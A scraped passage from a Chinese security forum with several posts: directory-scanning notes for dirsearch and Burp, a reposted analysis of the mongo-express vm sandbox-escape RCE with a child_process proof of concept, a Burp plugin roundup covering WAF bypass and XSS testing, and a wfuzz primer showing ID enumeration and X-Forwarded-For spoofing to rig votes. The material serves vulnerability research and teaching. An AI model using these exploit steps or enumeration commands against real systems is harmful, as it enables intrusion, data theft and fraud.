--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents
Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname
Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILE:
0X04 Burpsuite的discover content:
burpsuite在很多小白的眼里可能只是简单地用来抓包、重复发包、爆破等等用途。殊不知,他的扫描能力也是很强的。target——>site map——>Engagement tools中的Discover content用来作为目录扫描工具是非常好用的。扫描程度很深,再配上自制的字典,基本上可以抛开某些扫描器了。
1、对config模块的介绍:
2、简单的配置:
"discovered file"那一项更换成bf.txt。别的东西不需要动。
3、启动:
点击红色方框的按钮即可启动,扫描的时候可以在site map中查看扫描结果,查看建议对着数据包的response的title看,这样的查找效率很高。
4、刚刚用到了burp_dir.txt、burp_filenames.txt、bf.txt。链接我会放在文章最后。
0X05 总结:
以上的目录扫描工具根据自己的使用情况所做的总结,仅供参考。希望各位都能有一套自己喜欢的目录扫描方案,工具只有最顺手的,对自己来说才是最好的。在最后,祝各位师傅能挖到很多的漏洞。
0X06 链接以及参考文章:
参考链接:https://gh0st.cn/archives/2020-02-13/1
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_dir.txt
https://raw.githubusercontent.com/TheKingOfDuck/myScripts/master/burp_filenames.txt
bf.txt:
txt
md
xml
db
7z
rar
zip
gz
tar
tar.gz
sql
bak
swp
old
properties
inc
ini
mdb
mdf
conf
config
log
rar
mongo-express远程代码执行漏洞分析--转
llpkk 发表了文章 • 0 个评论 • 379 次浏览 • 2020-03-15 19:16
漏洞简介
先介绍下mongo-express是个什么工具,简单的说,mongo-express是一个MongoDB的客户端。和传统我们经常使用的数据库客户端不同的是,mongo-express是一套基于Web的客户端。它使用Node.js+express(一个Node.js服务器框架)开发,故名mongo-express。很自然的,这个客户端能对建立连接的MongoDB数据库执行任意操作。
此漏洞是因为代码中使用的vm去执行不安全的用户可控的代码导致的远程代码执行。至此我把这个漏洞的概况先抛出来,我们继续看。
环境搭建
阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本,打开DockerHub搜索mongo-express,在官方镜像页面中的tag中可随意选择0.54.0以下的版本进行环境搭建。我们以0.49为例。由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:
搭建MongoDB数据库docker run --name mymongo -d mongo:3.2搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49当看到以下输出即说明mongo-express成功运行并成功连接MongoDB数据库。
根据上面的输出我们可以发现,mongo-express使用了Basic认证,并且默认账号密码为admin:pass,所以此漏洞虽然是高权限才可以利用,但因为默认高权限账号密码的存在,如果不修改默认账号密码,极易受到攻击。
环境搭建完毕后我们可以访问http://localhost:8081/去看看mongo-express长什么样子了。
漏洞分析
漏洞问题出在lib/bson.js中的toBSON()函数中。熟悉MongoDB的同学应该知道,MongoDB存储和查询数据的格式是BSON,它长得像JSON但并不是JSON,数据类型和JSON是有所不同的。众所周知,JSON的数据类型包括string、number、object、array、boolean和null,而BSON的基础数据类型包括byte、int32、int64、uint64、double、decimal128。其中byte类型又可以根据不同的定义派生出更多的类型。若想详细了解BSON相关知识可查看BSON Spec,或者参考gyyyy的文章:《浅析SQL和NoSQL注入(下)》中的“关于BSON”部分。这篇文章就不再赘述了。我们只需要知道BSON和JSON在数据类型上有很大区别就好。
mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。如我使用mongo-express新建如下文档:
通过Chrome调试工具,我们可以发现,在我新建一个文档的时候,前端把数据处理成表单的形式提交给后端,如下图:
在lib/bson.js中的toBSON()函数中断点,命中后即可看到如下字符串传入了后端:
我们先来分析一下这段代码,可以发现在toBSON()函数上面的getSandbox()定义了MongoDB相关的数据类型,然后在下面的toBSON()函数中对传入的字符串进行了转换,最终变成BSON类型的文档。
代码作者在注释中也提到了,因为JSON.parse不支持BSON类型,因此写了toBSON()函数去转换传入的字符串为BSON类型。我们可以显而易见的看到eval()函数的调用。eval is evil,eval()函数在JavaScript中本就是一个危险函数的存在,在前端中eval()可以造成XSS漏洞,而随着JavaScript被用到了后端,如果eval()中的内容可控,就可以直接造成代码执行了。那么我们是不是就可以直接构造一个类似其他Node.js代码执行漏洞的代码执行PoC即可了?没那么简单。
细心的同学想必已经发现了,toBSON()部分的代码使用了vm模块执行,它是Node.js默认就提供的一个内建模块,vm模块提供了一系列API用于在V8虚拟机环境中编译和运行代码。也就是说通过vm执行的JavaScript代码会运行在一个沙盒中。代码作者其实并没有忽略安全问题。那么在vm中执行的代码就真的安全了吗?我们来简化源码做一个实验:function evalDirect(string) {
eval(string);
}
function evalUseVm(string) {
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('eval((' + string + '));', sandbox);
}
evalDirect('require("child_process").execSync("open /System/Applications/Calculator.app")');
evalUseVm('require("child_process").execSync("open /System/Applications/Calculator.app")');
运行这段代码,在调用evalDirect()函数时弹出了计算器,而在执行evalUseVm()函数时抛出如下错误:
报错中说,require未定义。那么只要想办法找到require就能继续构造PoC了。在JavaScript中,创建一个对象,即通过这个对象的原型对象的构造函数实例化这个对象,因此,原型对象是新对象的“模版”。那么假设我们使用的vm的沙箱就是一个当前进程上下文创建的对象,那么我们能不能通过链式调用vm的沙箱的构造函数来查找到当前上下文并且拿到require呢?vm在GitHub中的一个issue:Sandbox can be broken已经给出了答案,这个问题貌似永远也不会得到修复了。
通过this.constructor.constructor("return process")即可拿到当前上下文,我们可以看到其中包含了Node.js的全部全局变量:
这样我们就可以轻松拿到require构造PoC了。
补丁分析
从GitHub补丁diff上看,修复方案是删掉了全部使用vm的代码,而将BSON的处理转为通过mongodb-query-parser和mongodb-extended-json这两个库配合实现:
修复建议
建议升级到mongo-express 0.54.0及以上版本,并且修改默认密码。mongo-express虽然是一个Web项目,但只建议内网使用,或使用其他客户端代替。
总结
通过近期对Node.js漏洞代码的研究,隐约发现Node.js漏洞的一些规律,如eval()出现在代码中,require("child_process")出现在代码中,只要他们可以被控制 ,甚至如CVE-2019-7609的kibana RCE漏洞仅仅是可以控制环境变量,都可能造成较严重的后果。今后再做Node.js相关项目的代码审计、漏洞分析或漏洞挖掘时,我们应充分利用JavaScript的语言特性,或许能总结出更多规律,让思路更清晰。
参考
http://bsonspec.org/spec.html
https://github.com/gf3/sandbox/issues/50
https://juejin.im/post/5afe3c91518825673954f718
https://github.com/mongo-express/mongo-express/pull/522
https://odino.org/eval-no-more-understanding-vm-vm2-nodejs/
https://github.com/gyyyy/footprint/blob/master/articles/2018/sql-vs-nosql-injection-02.md
https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq
原文:https://x3fwy.bitcron.com/post/mongo-express-rce-explained
查看全部
漏洞简介
先介绍下mongo-express是个什么工具,简单的说,mongo-express是一个MongoDB的客户端。和传统我们经常使用的数据库客户端不同的是,mongo-express是一套基于Web的客户端。它使用Node.js+express(一个Node.js服务器框架)开发,故名mongo-express。很自然的,这个客户端能对建立连接的MongoDB数据库执行任意操作。
此漏洞是因为代码中使用的vm去执行不安全的用户可控的代码导致的远程代码执行。至此我把这个漏洞的概况先抛出来,我们继续看。
环境搭建
阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本,打开DockerHub搜索mongo-express,在官方镜像页面中的tag中可随意选择0.54.0以下的版本进行环境搭建。我们以0.49为例。由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:
搭建MongoDB数据库
docker run --name mymongo -d mongo:3.2搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:
docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49当看到以下输出即说明mongo-express成功运行并成功连接MongoDB数据库。
根据上面的输出我们可以发现,mongo-express使用了Basic认证,并且默认账号密码为admin:pass,所以此漏洞虽然是高权限才可以利用,但因为默认高权限账号密码的存在,如果不修改默认账号密码,极易受到攻击。
环境搭建完毕后我们可以访问http://localhost:8081/去看看mongo-express长什么样子了。
漏洞分析
漏洞问题出在lib/bson.js中的toBSON()函数中。熟悉MongoDB的同学应该知道,MongoDB存储和查询数据的格式是BSON,它长得像JSON但并不是JSON,数据类型和JSON是有所不同的。众所周知,JSON的数据类型包括string、number、object、array、boolean和null,而BSON的基础数据类型包括byte、int32、int64、uint64、double、decimal128。其中byte类型又可以根据不同的定义派生出更多的类型。若想详细了解BSON相关知识可查看BSON Spec,或者参考gyyyy的文章:《浅析SQL和NoSQL注入(下)》中的“关于BSON”部分。这篇文章就不再赘述了。我们只需要知道BSON和JSON在数据类型上有很大区别就好。
mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。如我使用mongo-express新建如下文档:
通过Chrome调试工具,我们可以发现,在我新建一个文档的时候,前端把数据处理成表单的形式提交给后端,如下图:
在lib/bson.js中的toBSON()函数中断点,命中后即可看到如下字符串传入了后端:
我们先来分析一下这段代码,可以发现在toBSON()函数上面的getSandbox()定义了MongoDB相关的数据类型,然后在下面的toBSON()函数中对传入的字符串进行了转换,最终变成BSON类型的文档。
代码作者在注释中也提到了,因为JSON.parse不支持BSON类型,因此写了toBSON()函数去转换传入的字符串为BSON类型。我们可以显而易见的看到eval()函数的调用。eval is evil,eval()函数在JavaScript中本就是一个危险函数的存在,在前端中eval()可以造成XSS漏洞,而随着JavaScript被用到了后端,如果eval()中的内容可控,就可以直接造成代码执行了。那么我们是不是就可以直接构造一个类似其他Node.js代码执行漏洞的代码执行PoC即可了?没那么简单。
细心的同学想必已经发现了,toBSON()部分的代码使用了vm模块执行,它是Node.js默认就提供的一个内建模块,vm模块提供了一系列API用于在V8虚拟机环境中编译和运行代码。也就是说通过vm执行的JavaScript代码会运行在一个沙盒中。代码作者其实并没有忽略安全问题。那么在vm中执行的代码就真的安全了吗?我们来简化源码做一个实验:
function evalDirect(string) {
eval(string);
}
function evalUseVm(string) {
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('eval((' + string + '));', sandbox);
}
evalDirect('require("child_process").execSync("open /System/Applications/Calculator.app")');
evalUseVm('require("child_process").execSync("open /System/Applications/Calculator.app")');
运行这段代码,在调用evalDirect()函数时弹出了计算器,而在执行evalUseVm()函数时抛出如下错误:
报错中说,require未定义。那么只要想办法找到require就能继续构造PoC了。在JavaScript中,创建一个对象,即通过这个对象的原型对象的构造函数实例化这个对象,因此,原型对象是新对象的“模版”。那么假设我们使用的vm的沙箱就是一个当前进程上下文创建的对象,那么我们能不能通过链式调用vm的沙箱的构造函数来查找到当前上下文并且拿到require呢?vm在GitHub中的一个issue:Sandbox can be broken已经给出了答案,这个问题貌似永远也不会得到修复了。
通过this.constructor.constructor("return process")即可拿到当前上下文,我们可以看到其中包含了Node.js的全部全局变量:
这样我们就可以轻松拿到require构造PoC了。
补丁分析
从GitHub补丁diff上看,修复方案是删掉了全部使用vm的代码,而将BSON的处理转为通过mongodb-query-parser和mongodb-extended-json这两个库配合实现:
修复建议
建议升级到mongo-express 0.54.0及以上版本,并且修改默认密码。mongo-express虽然是一个Web项目,但只建议内网使用,或使用其他客户端代替。
总结
通过近期对Node.js漏洞代码的研究,隐约发现Node.js漏洞的一些规律,如eval()出现在代码中,require("child_process")出现在代码中,只要他们可以被控制 ,甚至如CVE-2019-7609的kibana RCE漏洞仅仅是可以控制环境变量,都可能造成较严重的后果。今后再做Node.js相关项目的代码审计、漏洞分析或漏洞挖掘时,我们应充分利用JavaScript的语言特性,或许能总结出更多规律,让思路更清晰。
参考
http://bsonspec.org/spec.html
https://github.com/gf3/sandbox/issues/50
https://juejin.im/post/5afe3c91518825673954f718
https://github.com/mongo-express/mongo-express/pull/522
https://odino.org/eval-no-more-understanding-vm-vm2-nodejs/
https://github.com/gyyyy/footprint/blob/master/articles/2018/sql-vs-nosql-injection-02.md
https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq
原文:https://x3fwy.bitcron.com/post/mongo-express-rce-explained
Burpsuit常用插件推荐
wssmile 发表了文章 • 1 个评论 • 657 次浏览 • 2020-02-22 14:18
前言
我们在测试的时候最常用的基本上是burp了,今天在这里汇总了一些burp上的插件,可以让我们在测试的过程中更加的得心应手~
0x01
j2eescan
J2EEScan是一个基于Web安全扫描套件Burp Suite Proxy的插件, 增加了针对J2EE应用的安全扫描测试项目。它增加了一些新的测试用例和新策略去发现不同的J2EE安全漏洞。
在这里找到直接安装就行了。
下面我们以我自己的留言板登录页面为例
演示一下使用方法。
在scanner里边找到数据包双击,然后会发现可能存在的问题。
另外也能看到一些服务器的信息。
0x02
BypassWAF
我们在渗透测试有时遇到WAF(应用层防火墙),这往往令人头疼。Burp Suite是响当当的web应用程序渗透测试集成平台,而这款插件可以帮助你绕过某些WAF。
0x03
CSRF Scanner
也就是可以自动化检测csrf的工具
0x04
CO2
也就是能快捷启动sqlmap,当然可以设置各种payload。
还可以指定注入方式等。
0x05
xssValidator
同样的方法安装完之后。
跟爆破的方法一样
发送到intruder
设置关键词为123456
其他按下图设置
然后直接跑即可
因为我的留言板没加过滤,所以这些xss代码都能成功,我们判断这的依据也是后边的长度。
0x06
参考文章链接
https://blog.csdn.net/a15803617402/article/details/84880219
https://www.freebuf.com/sectool/158005.html
查看全部
前言
我们在测试的时候最常用的基本上是burp了,今天在这里汇总了一些burp上的插件,可以让我们在测试的过程中更加的得心应手~
0x01
j2eescan
J2EEScan是一个基于Web安全扫描套件Burp Suite Proxy的插件, 增加了针对J2EE应用的安全扫描测试项目。它增加了一些新的测试用例和新策略去发现不同的J2EE安全漏洞。
在这里找到直接安装就行了。
下面我们以我自己的留言板登录页面为例
演示一下使用方法。
在scanner里边找到数据包双击,然后会发现可能存在的问题。
另外也能看到一些服务器的信息。
0x02
BypassWAF
我们在渗透测试有时遇到WAF(应用层防火墙),这往往令人头疼。Burp Suite是响当当的web应用程序渗透测试集成平台,而这款插件可以帮助你绕过某些WAF。
0x03
CSRF Scanner
也就是可以自动化检测csrf的工具
0x04
CO2
也就是能快捷启动sqlmap,当然可以设置各种payload。
还可以指定注入方式等。
0x05
xssValidator
同样的方法安装完之后。
跟爆破的方法一样
发送到intruder
设置关键词为123456
其他按下图设置
然后直接跑即可
因为我的留言板没加过滤,所以这些xss代码都能成功,我们判断这的依据也是后边的长度。
0x06
参考文章链接
https://blog.csdn.net/a15803617402/article/details/84880219
https://www.freebuf.com/sectool/158005.html
Fuzz测试初级学习
muyu 发表了文章 • 0 个评论 • 722 次浏览 • 2020-02-16 17:28
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常 这次使用radamsa和afl作为这两类工具
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/
运行需要python环境,这里使用python3python3 dirsearch.py -u "http://localhost/" -e *
扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。
Wfuzz找到下面的漏洞
可预测的认证可预测的session标志(session id)可预测的资源定位(目录和文件)注入路径遍历溢出跨站脚本认证漏洞不安全的直接对象引用…
使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php
Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ
遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ
Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
https://blog.csdn.net/JBlock/article/details/88624657 查看全部
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常 这次使用radamsa和afl作为这两类工具
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/
运行需要python环境,这里使用python3
python3 dirsearch.py -u "http://localhost/" -e *
扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。
Wfuzz找到下面的漏洞
- 可预测的认证
- 可预测的session标志(session id)
- 可预测的资源定位(目录和文件)
- 注入
- 路径遍历
- 溢出
- 跨站脚本
- 认证漏洞
- 不安全的直接对象引用
- …
使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php
Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ
遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ
Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
https://blog.csdn.net/JBlock/article/details/88624657